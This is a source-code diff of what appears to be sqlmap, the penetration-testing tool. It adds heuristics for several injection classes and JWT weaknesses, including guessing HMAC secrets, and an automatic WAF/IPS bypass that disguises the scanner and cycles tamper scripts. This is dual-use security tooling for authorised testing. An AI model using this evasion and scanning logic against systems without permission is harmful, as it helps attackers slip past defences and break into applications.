if casting:
|
||||
errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
|
||||
|
||||
platform = conf.url.split('.')[-1].lower()
|
||||
platform = (extractRegexResult(r"\.(?P<result>\w+)(?:\?|\Z)", conf.url) or conf.url.split('.')[-1]).lower()
|
||||
if platform == WEB_PLATFORM.ASP:
|
||||
errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
|
||||
elif platform == WEB_PLATFORM.ASPX:
|
||||
@@ -1149,11 +1229,95 @@ def heuristicCheckSqlInjection(place, parameter):
|
||||
except (SystemError, RuntimeError) as ex:
|
||||
logger.debug("Skipping FI heuristic due to regex failure: %s", getSafeExString(ex))
|
||||
|
||||
if not conf.nosql and re.search(NOSQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (NoSQL) test shows that %sparameter '%s' might be vulnerable to NoSQL injection attacks (rerun with switch '--nosql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.ldap and re.search(LDAP_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (LDAP) test shows that %sparameter '%s' might be vulnerable to LDAP injection (rerun with switch '--ldap')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xpath and re.search(XPATH_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XPath) test shows that %sparameter '%s' might be vulnerable to XPath injection (rerun with switch '--xpath')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.ssti and re.search(SSTI_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (SSTI) test shows that %sparameter '%s' might be vulnerable to server-side template injection (rerun with switch '--ssti')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter)
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""):
|
||||
infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
kb.disableHtmlDecoding = False
|
||||
kb.heuristicMode = False
|
||||
|
||||
return kb.heuristicTest
|
||||
|
||||
def checkJWT():
|
||||
"""
|
||||
Passive, always-on heuristic: surface any JSON Web Token the request carries (cookie, header or
|
||||
parameter) together with its offline weaknesses (alg:none, guessable HMAC secret, unsafe key
|
||||
headers, missing expiry), hinting at '--jwt' for active confirmation and injection.
|
||||
"""
|
||||
|
||||
if kb.jwtChecked or conf.jwt:
|
||||
return
|
||||
|
||||
kb.jwtChecked = True
|
||||
|
||||
from lib.utils.jwt import auditJWT
|
||||
from lib.utils.jwt import findJWTs
|
||||
from lib.core.settings import JWT_COMMON_SECRETS
|
||||
|
||||
haystacks = list((conf.parameters or {}).values())
|
||||
haystacks += [value for _, value in (conf.httpHeaders or [])]
|
||||
|
||||
seen = set()
|
||||
for haystack in haystacks:
|
||||
for token in findJWTs(haystack):
|
||||
if token in seen:
|
||||
continue
|
||||
seen.add(token)
|
||||
|
||||
infoMsg = "heuristic (JWT) test shows that the request carries a JSON Web Token (rerun with switch '--jwt')"
|
||||
logger.info(infoMsg)
|
||||
|
||||
for _, severity, summary, __ in auditJWT(token, secrets=JWT_COMMON_SECRETS):
|
||||
logger.info("JWT weakness (%s): %s" % (severity, summary))
|
||||
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
def checkDynParam(place, parameter, value):
|
||||
"""
|
||||
This function checks if the URL parameter is dynamic. If it is
|
||||
@@ -1209,7 +1373,9 @@ def checkDynamicContent(firstPage, secondPage):
|
||||
seqMatcher.set_seq1(firstPage)
|
||||
seqMatcher.set_seq2(secondPage)
|
||||
ratio = seqMatcher.quick_ratio()
|
||||
except MemoryError:
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can fail on pathological input or, rarely, with interpreter-level
|
||||
# errors under heavy threading; degrade to "undetermined" instead of crashing
|
||||
ratio = None
|
||||
|
||||
if ratio is None:
|
||||
@@ -1224,6 +1390,27 @@ def checkDynamicContent(firstPage, secondPage):
|
||||
count += 1
|
||||
|
||||
if count > conf.retries:
|
||||
# Last resort before the (lossy) '--text-only' fallback: if the page is byte-unstable
|
||||
# but STRUCTURALLY stable - an identical, non-empty tag/class/id skeleton across
|
||||
# requests - base the comparison on that value-free structure instead. Dynamic text
|
||||
# (e.g. per-render result rows) then no longer masks an injection whose signal is
|
||||
# structural (the HTML counterpart of the structure-aware JSON comparison). Content
|
||||
# with no usable structure (empty skeleton, e.g. random/binary bodies) falls through
|
||||
# to '--text-only' as before.
|
||||
skeleton = extractStructuralTokens(firstPage)
|
||||
if skeleton and skeleton == extractStructuralTokens(secondPage):
|
||||
kb.pageStructurallyStable = True
|
||||
|
||||
if kb.nullConnection:
|
||||
debugMsg = "turning off NULL connection support because of structural page comparison"
|
||||
logger.debug(debugMsg)
|
||||
kb.nullConnection = None
|
||||
|
||||
infoMsg = "target URL content is not byte-stable but structurally stable; sqlmap "
|
||||
infoMsg += "will base the page comparison on the page structure"
|
||||
logger.info(infoMsg)
|
||||
return
|
||||
|
||||
warnMsg = "target URL content appears to be too dynamic. "
|
||||
warnMsg += "Switching to '--text-only' "
|
||||
logger.warning(warnMsg)
|
||||
@@ -1238,7 +1425,7 @@ def checkDynamicContent(firstPage, secondPage):
|
||||
kb.heavilyDynamic = True
|
||||
|
||||
secondPage, _, _ = Request.queryPage(content=True)
|
||||
findDynamicContent(firstPage, secondPage)
|
||||
findDynamicContent(firstPage, secondPage, merge=True)
|
||||
|
||||
def checkStability():
|
||||
"""
|
||||
@@ -1351,6 +1538,10 @@ def checkWaf():
|
||||
warnMsg = "previous heuristics detected that the target "
|
||||
warnMsg += "is protected by some kind of WAF/IPS"
|
||||
logger.critical(warnMsg)
|
||||
if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True): # re-apply a previously accepted automatic bypass
|
||||
from lib.utils.wafbypass import neutralizeFingerprint
|
||||
kb.wafBypass = True
|
||||
neutralizeFingerprint()
|
||||
return _
|
||||
|
||||
if not kb.originalPage:
|
||||
@@ -1393,6 +1584,7 @@ def checkWaf():
|
||||
|
||||
hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
|
||||
|
||||
|
||||
if retVal:
|
||||
if not kb.identifiedWafs:
|
||||
warnMsg = "heuristics detected that the target "
|
||||
@@ -1406,9 +1598,19 @@ def checkWaf():
|
||||
if not choice:
|
||||
raise SqlmapUserQuitException
|
||||
else:
|
||||
if not conf.tamper:
|
||||
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
if not conf.tamper and not kb.tamperFunctions:
|
||||
message = "do you want sqlmap to try to automatically bypass the WAF/IPS during "
|
||||
message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] "
|
||||
kb.wafBypass = readInput(message, default='Y', boolean=True)
|
||||
hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True)
|
||||
if kb.wafBypass:
|
||||
# apply it up-front so the whole run (detection included) avoids the scanner
|
||||
# fingerprint, instead of getting blocked first and only then retrying
|
||||
from lib.utils.wafbypass import neutralizeFingerprint
|
||||
neutralizeFingerprint()
|
||||
logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS")
|
||||
else:
|
||||
singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')")
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -1436,30 +1638,79 @@ def checkNullConnection():
|
||||
pushValue(kb.pageCompress)
|
||||
kb.pageCompress = False
|
||||
|
||||
# A method is accepted only if the length it reports tracks the real GET response. The
|
||||
# original page length (len(kb.originalPage)) is the reference; a method whose length is
|
||||
# grossly off (e.g. HEAD returning 'Content-Length: 0', HEAD served from a different code
|
||||
# path, or sneaked-in compression) would otherwise make every page look identical and
|
||||
# silently break detection. The band is coarse on purpose (byte-vs-character size and
|
||||
# moderate page dynamism are expected); a false reject just forgoes the optimization
|
||||
def _plausibleLength(length):
|
||||
reference = len(kb.originalPage or "")
|
||||
if not reference:
|
||||
return True
|
||||
return NULL_CONNECTION_LENGTH_TOLERANCE_LOW * reference <= length <= NULL_CONNECTION_LENGTH_TOLERANCE_HIGH * reference
|
||||
|
||||
try:
|
||||
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD, raise404=False)
|
||||
|
||||
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.HEAD
|
||||
try:
|
||||
length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
|
||||
except ValueError:
|
||||
length = None
|
||||
|
||||
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
if length is not None and _plausibleLength(length):
|
||||
kb.nullConnection = NULLCONNECTION.HEAD
|
||||
|
||||
infoMsg = "NULL connection is supported with HEAD method ('Content-Length')"
|
||||
logger.info(infoMsg)
|
||||
elif length is not None:
|
||||
debugMsg = "HEAD method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if kb.nullConnection is None:
|
||||
page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
|
||||
|
||||
if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
|
||||
kb.nullConnection = NULLCONNECTION.RANGE
|
||||
try:
|
||||
length = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:])
|
||||
except ValueError:
|
||||
length = None
|
||||
|
||||
infoMsg = "NULL connection is supported with GET method ('Range')"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
_, headers, _ = Request.getPage(skipRead=True)
|
||||
if length is not None and _plausibleLength(length):
|
||||
kb.nullConnection = NULLCONNECTION.RANGE
|
||||
|
||||
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
infoMsg = "NULL connection is supported with GET method ('Range')"
|
||||
logger.info(infoMsg)
|
||||
elif length is not None:
|
||||
debugMsg = "'Range' method reports an implausible total length (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if kb.nullConnection is None:
|
||||
_, headers, _ = Request.getPage(skipRead=True)
|
||||
|
||||
if HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||
try:
|
||||
length = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0])
|
||||
except ValueError:
|
||||
length = len(kb.originalPage or "")
|
||||
|
||||
if not _plausibleLength(length):
|
||||
debugMsg = "'skip-read' method reports an implausible 'Content-Length' (%d B vs ~%d B for the original page); skipping it" % (length, len(kb.originalPage or ""))
|
||||
logger.debug(debugMsg)
|
||||
# Unlike HEAD/Range, 'skip-read' leaves the body unread and must close the
|
||||
# connection (an unread body cannot be reused), paying a fresh TCP/TLS handshake
|
||||
# per request. That only outweighs the avoided body transfer for large responses;
|
||||
# for small ones it is a net slowdown, so it is gated by the response size here
|
||||
elif length >= NULL_CONNECTION_SKIP_READ_MIN_LENGTH:
|
||||
kb.nullConnection = NULLCONNECTION.SKIP_READ
|
||||
|
||||
infoMsg = "NULL connection is supported with 'skip-read' method"
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
debugMsg = "'skip-read' NULL connection method is available but skipped because the "
|
||||
debugMsg += "response (%d B) is too small for it to outweigh the per-request reconnect cost" % length
|
||||
logger.debug(debugMsg)
|
||||
|
||||
except SqlmapConnectionException:
|
||||
pass
|
||||
|
||||
@@ -16,6 +16,7 @@ from lib.controller.action import action
|
||||
from lib.controller.checks import checkConnection
|
||||
from lib.controller.checks import checkDynParam
|
||||
from lib.controller.checks import checkInternet
|
||||
from lib.controller.checks import checkJWT
|
||||
from lib.controller.checks import checkNullConnection
|
||||
from lib.controller.checks import checkSqlInjection
|
||||
from lib.controller.checks import checkStability
|
||||
@@ -41,6 +42,7 @@ from lib.core.common import readInput
|
||||
from lib.core.common import removePostHintPrefix
|
||||
from lib.core.common import safeCSValue
|
||||
from lib.core.common import showHttpErrorCodes
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.common import urldecode
|
||||
from lib.core.common import urlencode
|
||||
from lib.core.compat import xrange
|
||||
@@ -70,11 +72,13 @@ from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
|
||||
from lib.core.settings import GOOGLE_ANALYTICS_COOKIE_REGEX
|
||||
from lib.core.settings import HASHDB_STALE_DAYS
|
||||
from lib.core.settings import HOST_ALIASES
|
||||
from lib.core.settings import IGNORE_PARAMETERS
|
||||
from lib.core.settings import LOW_TEXT_PERCENT
|
||||
from lib.core.settings import REFERER_ALIASES
|
||||
from lib.core.settings import USER_AGENT_ALIASES
|
||||
from lib.core.settings import WAF_BYPASS_MAX_TRIALS
|
||||
from lib.core.target import initTargetEnv
|
||||
from lib.core.target import setupTargetEnv
|
||||
from lib.utils.hash import crackHashFile
|
||||
@@ -167,6 +171,57 @@ def _formatInjection(inj):
|
||||
|
||||
return data
|
||||
|
||||
def _autoWafBypass(place, parameter, value):
|
||||
"""
|
||||
Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in
|
||||
kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner
|
||||
User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled
|
||||
and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection()
|
||||
through a candidate is itself the validation - it succeeds only if the resulting payload both
|
||||
passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically.
|
||||
"""
|
||||
|
||||
from lib.utils.wafbypass import candidateTampers, loadTamper
|
||||
|
||||
retVal = None
|
||||
|
||||
savedTamper = kb.tamperFunctions
|
||||
savedTechnique = conf.technique
|
||||
conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN] # bound each trial to a quick boolean re-check
|
||||
|
||||
candidates = candidateTampers(identifiedWafs=kb.identifiedWafs)
|
||||
|
||||
try:
|
||||
for count, name in enumerate(candidates):
|
||||
if count >= WAF_BYPASS_MAX_TRIALS:
|
||||
break
|
||||
|
||||
function = loadTamper(name)
|
||||
if function is None:
|
||||
continue
|
||||
|
||||
kb.tamperFunctions = [function]
|
||||
logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name)
|
||||
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
|
||||
logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name)
|
||||
logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name)
|
||||
retVal = injection
|
||||
return retVal
|
||||
|
||||
if kb.droppingRequests and count >= 2:
|
||||
logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass")
|
||||
break
|
||||
finally:
|
||||
conf.technique = savedTechnique
|
||||
if retVal is None: # nothing worked - leave tampering untouched
|
||||
kb.tamperFunctions = savedTamper
|
||||
# honest bail: say it could not be bypassed and what to try manually
|
||||
logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)")
|
||||
|
||||
return retVal
|
||||
|
||||
def _showInjections():
|
||||
if conf.wizard and kb.wizardMode:
|
||||
kb.wizardMode = False
|
||||
@@ -181,9 +236,29 @@ def _showInjections():
|
||||
conf.dumper.string("", {"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, content_type=CONTENT_TYPE.TARGET)
|
||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||
else:
|
||||
# --report-json: capture the same TARGET/TECHNIQUES structures the API emits, without
|
||||
# printing them (the human-readable injection points are rendered just below)
|
||||
if conf.reportJson:
|
||||
conf.dumper._reportData({"url": conf.url, "query": conf.parameters.get(PLACE.GET), "data": conf.parameters.get(PLACE.POST)}, CONTENT_TYPE.TARGET)
|
||||
conf.dumper._reportData(kb.injections, CONTENT_TYPE.TECHNIQUES)
|
||||
|
||||
data = "".join(set(_formatInjection(_) for _ in kb.injections)).rstrip("\n")
|
||||
conf.dumper.string(header, data)
|
||||
|
||||
# when results were resumed (no test requests this run), nudge if the session file is stale -
|
||||
# this is the common "why is it showing old/unexpected results?" confusion
|
||||
if kb.testQueryCount == 0 and not conf.freshQueries:
|
||||
try:
|
||||
days = int((time.time() - os.path.getmtime(conf.hashDBFile)) / (24 * 3600))
|
||||
except (OSError, IOError, TypeError):
|
||||
days = 0
|
||||
|
||||
if days >= HASHDB_STALE_DAYS:
|
||||
warnMsg = "results above were resumed from a session file last updated %d days ago, " % days
|
||||
warnMsg += "so they may be stale. Rerun with '--flush-session' to retest "
|
||||
warnMsg += "or '--fresh-queries' to ignore cached query results"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
if conf.tamper:
|
||||
warnMsg = "changes made by tampering scripts are not "
|
||||
warnMsg += "included in shown payload content(s)"
|
||||
@@ -431,9 +506,17 @@ def start():
|
||||
infoMsg = "testing URL '%s'" % targetUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.graphql and PLACE.GET not in conf.parameters:
|
||||
# graphqlScan() is self-contained and operates on the GraphQL
|
||||
# document, not on HTTP parameters. A dummy GET parameter keeps
|
||||
# _setRequestParams() from appending the URI injection marker ('*')
|
||||
# to a bare endpoint URL (which would break detection under
|
||||
# '--batch'); it is discarded by graphqlScan() on entry.
|
||||
conf.parameters[PLACE.GET] = "x"
|
||||
|
||||
setupTargetEnv()
|
||||
|
||||
if not checkConnection(suppressOutput=conf.forms):
|
||||
if not any((conf.graphql,)) and not checkConnection(suppressOutput=conf.forms):
|
||||
continue
|
||||
|
||||
if conf.rParam and kb.originalPage:
|
||||
@@ -447,13 +530,63 @@ def start():
|
||||
|
||||
checkWaf()
|
||||
|
||||
checkJWT()
|
||||
|
||||
if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)):
|
||||
from lib.utils.paraminer import mineParameters
|
||||
mineParameters()
|
||||
|
||||
if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile):
|
||||
singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only")
|
||||
|
||||
if conf.graphql:
|
||||
from lib.techniques.graphql.inject import graphqlScan
|
||||
graphqlScan()
|
||||
continue
|
||||
|
||||
if conf.nosql:
|
||||
from lib.techniques.nosql.inject import nosqlScan
|
||||
nosqlScan()
|
||||
continue
|
||||
|
||||
if conf.ldap:
|
||||
from lib.techniques.ldap.inject import ldapScan
|
||||
ldapScan()
|
||||
continue
|
||||
|
||||
if conf.xpath:
|
||||
from lib.techniques.xpath.inject import xpathScan
|
||||
xpathScan()
|
||||
continue
|
||||
|
||||
if conf.ssti:
|
||||
from lib.techniques.ssti.inject import sstiScan
|
||||
sstiScan()
|
||||
continue
|
||||
|
||||
if conf.xxe:
|
||||
from lib.techniques.xxe.inject import xxeScan
|
||||
xxeScan()
|
||||
continue
|
||||
|
||||
if conf.hql:
|
||||
from lib.techniques.hql.inject import hqlScan
|
||||
hqlScan()
|
||||
continue
|
||||
|
||||
if conf.jwt:
|
||||
from lib.techniques.jwt.inject import jwtScan
|
||||
jwtScan()
|
||||
continue
|
||||
|
||||
if conf.nullConnection:
|
||||
checkNullConnection()
|
||||
|
||||
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
||||
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.technique:
|
||||
# NOTE: this is not needed anymore, leaving only to display
|
||||
# a warning message to the user in case the page is not stable
|
||||
if not any((conf.string, conf.notString, conf.regexp)) and any(_ in conf.technique for _ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.UNION)):
|
||||
# NOTE: besides the not-stable warning, this marks dynamic content for removal, which
|
||||
# UNION column-count detection relies on too (it compares pages) - so it must run when
|
||||
# UNION is tested even if BOOLEAN is excluded (e.g. '--technique=U' on a dynamic page)
|
||||
checkStability()
|
||||
|
||||
# Do a little prioritization reorder of a testable parameter list
|
||||
@@ -605,6 +738,14 @@ def start():
|
||||
logger.info(infoMsg)
|
||||
|
||||
injection = checkSqlInjection(place, parameter, value)
|
||||
|
||||
# WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but
|
||||
# the standard payloads were blocked -> try to auto-bypass it (request
|
||||
# fingerprint neutralization and/or a tamper script)
|
||||
if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \
|
||||
and not conf.tamper and not kb.tamperFunctions:
|
||||
injection = _autoWafBypass(place, parameter, value) or injection
|
||||
|
||||
proceed = not kb.endDetection
|
||||
injectable = False
|
||||
|
||||
@@ -704,9 +845,13 @@ def start():
|
||||
errMsg += "does not match exclusively True responses."
|
||||
|
||||
if not conf.tamper:
|
||||
errMsg += " If you suspect that there is some kind of protection mechanism "
|
||||
errMsg += "involved (e.g. WAF) maybe you could try to use "
|
||||
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
|
||||
if kb.identifiedWafs:
|
||||
errMsg += " As a WAF/IPS ('%s') was identified during the run, " % ", ".join(kb.identifiedWafs)
|
||||
errMsg += "you are strongly advised to retry with option '--tamper' (e.g. '--tamper=space2comment')"
|
||||
else:
|
||||
errMsg += " If you suspect that there is some kind of protection mechanism "
|
||||
errMsg += "involved (e.g. WAF) maybe you could try to use "
|
||||
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
|
||||
|
||||
if not conf.randomAgent:
|
||||
errMsg += " and/or switch '--random-agent'"
|
||||
@@ -729,7 +874,12 @@ def start():
|
||||
condition = True
|
||||
|
||||
if condition:
|
||||
action()
|
||||
try:
|
||||
action()
|
||||
finally:
|
||||
if conf.proof:
|
||||
from lib.utils.prove import proveExploitation
|
||||
proveExploitation()
|
||||
|
||||
except KeyboardInterrupt:
|
||||
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
|
||||
|
||||
@@ -10,9 +10,12 @@ from lib.core.common import getSafeExString
|
||||
from lib.core.common import singleTimeWarnMessage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.dicts import DBMS_DICT
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.dicts import DBWIRE_MODULES
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.utils.dbwire import Connector as DbwireConnector
|
||||
from lib.core.settings import ACCESS_ALIASES
|
||||
from lib.core.settings import ALTIBASE_ALIASES
|
||||
from lib.core.settings import CACHE_ALIASES
|
||||
@@ -25,6 +28,7 @@ from lib.core.settings import EXTREMEDB_ALIASES
|
||||
from lib.core.settings import FIREBIRD_ALIASES
|
||||
from lib.core.settings import FRONTBASE_ALIASES
|
||||
from lib.core.settings import H2_ALIASES
|
||||
from lib.core.settings import HANA_ALIASES
|
||||
from lib.core.settings import HSQLDB_ALIASES
|
||||
from lib.core.settings import INFORMIX_ALIASES
|
||||
from lib.core.settings import MAXDB_ALIASES
|
||||
@@ -57,6 +61,7 @@ from plugins.dbms.extremedb import ExtremeDBMap
|
||||
from plugins.dbms.firebird import FirebirdMap
|
||||
from plugins.dbms.frontbase import FrontBaseMap
|
||||
from plugins.dbms.h2 import H2Map
|
||||
from plugins.dbms.hana import HANAMap
|
||||
from plugins.dbms.hsqldb import HSQLDBMap
|
||||
from plugins.dbms.informix import InformixMap
|
||||
from plugins.dbms.maxdb import MaxDBMap
|
||||
@@ -82,6 +87,15 @@ def setHandler():
|
||||
management system.
|
||||
"""
|
||||
|
||||
if conf.esperanto:
|
||||
# force the DBMS-agnostic engine: skip per-DBMS fingerprinting entirely and
|
||||
# let the boolean-oracle 'esperanto' handler drive enumeration.
|
||||
from extra.esperanto import buildHandler
|
||||
conf.dbmsHandler = buildHandler()
|
||||
conf.dbmsHandler._dbms = "Esperanto"
|
||||
logger.info("using the DBMS-agnostic 'Esperanto' engine (fingerprinting skipped)")
|
||||
return
|
||||
|
||||
items = [
|
||||
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, "plugins.dbms.mysql.connector"),
|
||||
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, "plugins.dbms.oracle.connector"),
|
||||
@@ -113,6 +127,7 @@ def setHandler():
|
||||
(DBMS.VIRTUOSO, VIRTUOSO_ALIASES, VirtuosoMap, "plugins.dbms.virtuoso.connector"),
|
||||
(DBMS.SNOWFLAKE, SNOWFLAKE_ALIASES, SnowflakeMap, "plugins.dbms.snowflake.connector"),
|
||||
(DBMS.SPANNER, SPANNER_ALIASES, SpannerMap, "plugins.dbms.spanner.connector"),
|
||||
(DBMS.HANA, HANA_ALIASES, HANAMap, "plugins.dbms.hana.connector"),
|
||||
]
|
||||
|
||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items)
|
||||
@@ -155,7 +170,12 @@ def setHandler():
|
||||
try:
|
||||
conf.dbmsConnector.connect()
|
||||
except NameError:
|
||||
if exception:
|
||||
# neither a native driver nor SQLAlchemy is available: fall back to our dependency-free
|
||||
# pure-python 'dbwire' client if it covers this DBMS (so '-d' works out of the box)
|
||||
if dbms in DBWIRE_MODULES:
|
||||
conf.dbmsConnector = DbwireConnector(DBWIRE_MODULES[dbms])
|
||||
conf.dbmsConnector.connect()
|
||||
elif exception:
|
||||
raise exception
|
||||
else:
|
||||
msg = "support for direct connection to '%s' is not available. " % dbms
|
||||
|
||||
+129
-24
@@ -51,6 +51,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT
|
||||
from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
|
||||
from lib.core.settings import INFERENCE_MARKER
|
||||
from lib.core.settings import MYSQL_UNION_VALUE_CAST
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
from lib.core.settings import REPLACEMENT_MARKER
|
||||
@@ -69,9 +70,9 @@ class Agent(object):
|
||||
query = self.cleanupPayload(query)
|
||||
|
||||
if query.upper().startswith("AND "):
|
||||
query = re.sub(r"(?i)AND ", "SELECT ", query, 1)
|
||||
query = re.sub(r"(?i)AND ", "SELECT ", query, count=1)
|
||||
elif query.upper().startswith(" UNION ALL "):
|
||||
query = re.sub(r"(?i) UNION ALL ", "", query, 1)
|
||||
query = re.sub(r"(?i) UNION ALL ", "", query, count=1)
|
||||
elif query.startswith("; "):
|
||||
query = query.replace("; ", "", 1)
|
||||
|
||||
@@ -132,7 +133,7 @@ class Agent(object):
|
||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||
if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
|
||||
origValue = re.split(r"['\">]", origValue)[-1]
|
||||
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE):
|
||||
elif kb.postHint in (POST_HINT.JSON, POST_HINT.JSON_LIKE, POST_HINT.GRPC_WEB):
|
||||
match = re.search(r"['\"]", origValue)
|
||||
quote = match.group(0) if match else '"'
|
||||
origValue = extractRegexResult(r"%s\s*:\s*(?P<result>\d+)\Z" % quote, origValue) or extractRegexResult(r"(?P<result>[^%s]*)\Z" % quote, origValue)
|
||||
@@ -203,9 +204,9 @@ class Agent(object):
|
||||
origValue = encodeBase64(origValue, binary=False, encoding=conf.encoding or UNICODE_ENCODING)
|
||||
|
||||
if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||
_ = "%s%s" % (origValue, kb.customInjectionMark)
|
||||
_ = "%s%s" % (_origValue if base64Encoding else origValue, kb.customInjectionMark)
|
||||
|
||||
